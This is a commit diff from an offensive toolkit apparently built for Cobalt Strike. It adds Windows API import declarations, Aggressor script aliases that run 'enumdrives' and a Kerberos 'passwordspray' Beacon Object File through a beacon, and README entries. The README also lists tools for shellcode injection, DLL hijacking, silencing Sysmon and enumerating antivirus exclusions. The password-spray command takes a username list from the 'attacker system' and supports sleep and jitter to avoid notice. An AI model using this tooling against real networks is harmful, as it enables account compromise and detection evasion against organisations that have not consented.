+WINBASEAPI BOOL WINAPI SECUR32$GetUserNameExW(EXTENDED_NAME_FORMAT NameFormat, LPWSTR lpNameBuffer, PULONG nSize);
+
+//
+WINBASEAPI void __cdecl MSVCRT$srand(unsigned int seed);
+WINBASEAPI int __cdecl MSVCRT$rand(void);
+WINBASEAPI time_t __cdecl MSVCRT$time(time_t *timer);
+WINBASEAPI clock_t __cdecl MSVCRT$clock(void);
+
+DECLSPEC_IMPORT char* __cdecl MSVCRT$strtok(char* _String, const char* _Delimiters);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int WINAPI KERNEL32$lstrcmpW(LPCWSTR lpString1, LPCWSTR lpString2);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+//TEST
+WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameW(LPCWSTR ComputerName, LPCWSTR DomainName, GUID* DomainGuid, LPCWSTR SiteName, ULONG Flags, PDOMAIN_CONTROLLER_INFO* DomainControllerInfo);
+WINBASEAPI NET_API_STATUS WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);
+
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+
+
+
+

binární
KIT/PasswordSpray/passwordspray.o


+ 67 - 0
OperatorsKit.cna

@@ -1169,6 +1169,73 @@ alias injectpoolparty {
 }
 
 
+beacon_command_register(
+	"enumdrives", "Enumerate drive letters and its type.",
+	"INFO:\nEnumerate drive letters and its type.\n\n" .
+	"USAGE:\nenumdrives\n\n");
+	
+alias enumdrives {
+    $bid = $1;
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumDrives/enumdrives.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	$arg_data  = bof_pack($bid);
+
+	blog($bid, "Tasked to enumerate drive letters and its type..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"passwordspray", "Validate single password against multiple accounts using kerberos authentication.",
+	"INFO:\nValidate single password against multiple accounts using kerberos authentication.\n\n" .
+	"ARGUMENTS:\n[path to username file]: the path on your own attacker system to a file containing the list with usernames. Each username must be newline separated.\n[password]: the password to validate.\n[domain]: FQDN of the domain.\n[sleeptimer]: (optional) sleep timer in seconds to wait between each authentication attempt (default is 0).\n[jitter]: (optional) jitter in percentage (default 0).\n\n" .
+	"USAGE:\npasswordspray <path to username file> <password> <domain> [opt <sleeptimer>] [opt <jitter>]\n\n" .
+	"EXAMPLES:\npasswordspray C:\\Users\\redmed\\Documents\\usernames.txt Welcome01 example.local 10 40\npasswordspray C:\\Users\\redmed\\Documents\\usernames.txt Welcome01 example.local\n\n");
+	
+alias passwordspray {
+    $bid = $1;
+	$path = $2;
+	$password = $3;
+	$domain = $4;
+	$timer = $5;
+	$jitter = $6;
+	
+	if ($path eq "") {
+		berror($bid, "Please specify the path on your own attacker system to the file containing the list with newline separated usernames.\n");
+		return;
+	}
+	
+	if ($password eq "" || $domain eq "") {
+        berror($bid, "Please specify both password and domain name (FQDN).");
+        return;
+    }
+
+	# read in the .txt file
+	$handle = openf("$path");
+	$file = readb($handle, -1);
+	closef($handle);
+	
+	blog($bid, "path: $+  $path");
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/PasswordSpray/passwordspray.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "bZZii", $file, $password, $domain, $timer, $jitter);
+
+	blog($bid, "Tasked to start password spraying..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+
 
 
 

+ 2 - 0
README.md

@@ -20,6 +20,7 @@ The following tools are currently in the OperatorsKit:
 |**[DllComHijacking](KIT/DllComHijacking)**|Leverage DLL Hijacking by instantiating a COM object on a target host |
 |**[DllEnvHijacking](KIT/DllEnvHijacking)**|BOF implementation of DLL environment hijacking published by [Wietze](https://www.wietzebeukema.nl/blog/save-the-environment-variables).|
 |**[EnumDotnet](KIT/EnumDotnet)**|Enumerate processes that most likely have .NET loaded.|
+|**[EnumDrives](KIT/EnumDrives)**|Enumerate drive letters and type.|
 |**[EnumExclusions](KIT/EnumExclusions)**|Check the AV for excluded files, folders, extentions and processes.|
 |**[EnumFiles](KIT/EnumFiles)**|Search for matching files based on a word, extention or keyword in the file content.|
 |**[EnumHandles](KIT/EnumHandles)**|Enumerate "process" and "thread" handle types between processes.|
@@ -38,6 +39,7 @@ The following tools are currently in the OperatorsKit:
 |**[InjectPoolParty](KIT/InjectPoolParty)**|Inject beacon shellcode and execute it via [Windows Thread Pools](https://github.com/SafeBreach-Labs/PoolParty/)|
 |**[LoadLib](KIT/LoadLib)**|Load an on disk present DLL via RtlRemoteCall API in a remote process.|
 |**[PSremote](KIT/PSremote)**|Enumerate all running processes on a remote host.|
+|**[PasswordSpray](KIT/PasswordSpray)**|Validate a single password against multiple accounts using kerberos authentication.|
 |**[SilenceSysmon](KIT/SilenceSysmon)**|Silence the Sysmon service by patching its capability to write ETW events to the log.|
 |**[SystemInfo](KIT/SystemInfo)**|Enumerate system information via WMI (limited use case).|